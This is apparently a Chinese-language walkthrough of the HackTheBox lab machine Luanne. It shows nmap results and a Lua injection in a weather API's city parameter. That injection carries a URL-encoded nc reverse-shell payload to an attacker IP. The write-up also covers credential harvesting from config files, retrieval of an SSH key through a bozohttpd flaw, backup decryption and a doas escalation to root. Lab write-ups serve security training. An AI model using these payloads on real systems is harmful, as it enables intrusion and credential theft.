0%

HackTheBox-Luanne

  • Name:Luanne
  • OS:NetBsd

0x01 信息收集

NMAP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
PORT     STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0)
| ssh-hostkey:
| 3072 20:97:7f:6c:4a:6e:5d:20:cf:fd:a3:aa:a9:0d:37:db (RSA)
| 521 35:c3:29:e1:87:70:6d:73:74:b2:a9:a2:04:a9:66:69 (ECDSA)
|_ 256 b3:bd:31:6d:cc:22:6b:18:ed:27:66:b4:a7:2a:e4:a5 (ED25519)
80/tcp open http nginx 1.19.0
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=.
| http-robots.txt: 1 disallowed entry
|_/weather
|_http-server-header: nginx/1.19.0
|_http-title: 401 Unauthorized
9001/tcp open http Medusa httpd 1.12 (Supervisor process manager)
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=default
|_http-server-header: Medusa/1.12
|_http-title: Error response
Service Info: OS: NetBSD; CPE: cpe:/o:netbsd:netbsd

9001

9001端口,google搜索存在rce漏洞,利用不成功。

80

直接访问需要凭证。
/weather 访问404,但是不需要凭证。

20210309-12:43:30-_vMVohh_oTW5hP

发现forecast,访问的话要求添加city参数。

20210309-13:51:22-_LFLIfv_e9Q4Cn

都是一些城市的天气信息。

手动添加了个单引号进行测试,发现报错,可能存在注入

20210309-13:52:28-_BlGrtv_iuajvB

0x02 漏洞利用

因为没怎么学习过LUA的漏洞,,所以临时抱下佛脚Lua Web Application Security Vulnerabilities

1
2
3
4
5
6
7
curl 'http://luanne.htb/weather/forecast?city=list%27)%20print(%27id)('

curl 'http://luanne.htb/weather/forecast?city=list%27)%20os.execute(%27id%27)(--'

# 反弹shell

curl 'http://luanne.htb/weather/forecast?city=list%27)%20os.execute(%27mkfifo+%2ftmp%2fnllioo%3b+nc+10.10.14.55+1234+0%3c%2ftmp%2fnllioo+%7c+%2fbin%2fsh+%3e%2ftmp%2fnllioo+2%3e%261%3b+rm+%2ftmp%2fnllioo%27)%20--'

20210309-13:57:49-_SuLvoU_MVFQHc
解密得

webapi_user:iamthebest

查看/etc/supervisord.conf配置文件获得9001端口账号密码

20210309-14:00:28-_rZpOdO_Puo3eQ

user:123

20210309-14:01:12-_U9th6t_mh00Ui

版本4.2不存在之前Google到到漏洞。

看进程可以发现3001端口还有一个web服务,和3000端口到类似,不过3001端口则是用户r.michaels运行的。
20210309-14:01:55-_vipKnZ_uTFsti

服务器响应头中有 bozohttpd/20190228,
20210309-14:03:56-_3MFeRK_PXMgvS

google 这个组件会发现存在三个漏洞。
20210309-14:05:40-_1L9DCu_8jr4i2

利用CVE-2010-2320漏洞。
curl --user webapi_user:iamthebest http://127.0.0.1:3001/~r.michaels/id_rsa 获取到id_rsa

20210309-14:08:14-_XdMepD_FgNkx0
复制到本地,并修改好权限600

20210309-14:09:52-_1r4ega_maMgxs

0x03 提权

backups下有个enc后缀的压缩包。google搜索 netbsd enc,可以搜出两个命令,一个是netpgp一个是openssl_enc命令.

openssl_enc not found,所以尝试netpgp。

20210309-14:14:17-_tMPLfT_D0q55M

1
netpgp --decrypt devel_backup-2020-09-16.tar.gz.enc  --output=/tmp/a.tar.gz

20210309-14:15:03-_L6sq1w_PTIJ4K

20210309-14:15:57-_DP8TWn_rGAt7m
解密得littlebear

但是不能su,netbsd系统su得普通用户在wheel组,但是有doas。这是一个可以代替sudo得程序。

20210309-14:24:04-_KO4KhC_X7eobp

1
doas -u root /bin/sh

20210309-14:25:52-_PMfxHx_hDd0to